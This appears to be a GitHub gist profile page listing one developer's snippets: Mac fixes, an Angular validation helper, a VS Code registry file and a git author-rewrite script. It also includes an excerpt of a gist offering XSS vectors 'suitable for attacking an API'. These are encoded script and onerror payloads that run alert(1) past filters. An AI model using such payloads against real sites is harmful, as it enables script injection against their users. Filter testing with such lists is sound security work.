Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View JohannesHoppe's full-sized avatar
🅰️
Working on Angular things!

Johannes Hoppe JohannesHoppe

🅰️
Working on Angular things!
View GitHub Profile
@JohannesHoppe
JohannesHoppe / howto.md
Created February 29, 2024 08:43
How to disable Spotlight and mds_stores

How to stop mds_stores on Mac?

  1. Launch Terminal and enter the following command: sudo mdutil -a -i off
  2. Type your admin password and hit Return.
  3. Close the Terminal and restart your Mac.
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

Force RGB mode in Mac OS X to fix the picture quality of an external monitor (Original)

Update: I have heard that 10.8.3 has solved this problem for some people, so I rolled back my changes and installed the update. No change on my monitor. Nevertheless, it’d be a good idea to update OS X before trying this, since it may fix the issues with your particular hardware.

I recently bought a MacBook Pro (with ‘Retina’ screen), but when I hooked it up to my Dell U2410 monitor via HDMI cable I was shocked by the poor picture quality. The contrast was all wrong and text was misshapen. No amount of calibration in the monitor or software would fix it.

Short answer: OS X thinks my monitor is a TV, and is using the YCbCr colour space rather than RGB. I had to override an EDID setting to force the RGB colour space, and it is now working correctly.

Long answer: I haven’t owned a Mac for a while and h

@JohannesHoppe
JohannesHoppe / Error importing PyQt5.md
Created January 5, 2024 11:02
Error importing PyQt5
@JohannesHoppe
JohannesHoppe / get-form-validation-errors.ts
Last active October 18, 2023 19:54
Get all validation errors for Angular FormGroup
import { FormGroup, ValidationErrors } from '@angular/forms';
export function getFormValidationErrors(form: FormGroup) {
const result = [];
Object.keys(form.controls).forEach(key => {
const controlErrors: ValidationErrors = form.get(key).errors;
if (controlErrors) {
Object.keys(controlErrors).forEach(keyError => {
@JohannesHoppe
JohannesHoppe / fix.md
Created April 17, 2023 13:55
Teams App endless login loop (Mac)
Windows Registry Editor Version 5.00
; Open files
[HKEY_CLASSES_ROOT\*\shell\Open with VS Code]
@="Edit with VS Code"
"Icon"="C:\\Program Files (x86)\\Microsoft VS Code\\Code.exe,0"
[HKEY_CLASSES_ROOT\*\shell\Open with VS Code\command]
@="\"C:\\Program Files (x86)\\Microsoft VS Code\\Code.exe\" \"%1\""
; This will make it appear when you right click ON a folder
; The "Icon" line can be removed if you don't want the icon to appear
[HKEY_CLASSES_ROOT\Directory\shell\vscode]
@JohannesHoppe
JohannesHoppe / about.md
Last active July 13, 2022 08:53
Git: reset author for ALL commits

Git: reset author for ALL commits

#!/bin/sh

git filter-branch -f --env-filter '
OLD_EMAIL="xxxxxxxxxxxxxxxxxxxxxxxxxx"
CORRECT_NAME="zzzzzzzzzzzzzzzzz"
CORRECT_EMAIL="yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
@JohannesHoppe
JohannesHoppe / restart.md
Created January 14, 2022 11:32
Mac: Restarting sound service
@JohannesHoppe
JohannesHoppe / fix_spotlight.sh
Created June 10, 2021 10:45
fix_spotlight.sh
#!/bin/sh
# Force rebuild the spotlight index from scratch.
# --> https://apple.stackexchange.com/a/74892
# Turn off spotlight.
sudo mdutil -a -i off
# Remove the index files.
sudo rm -rfv /.Spotlight-V100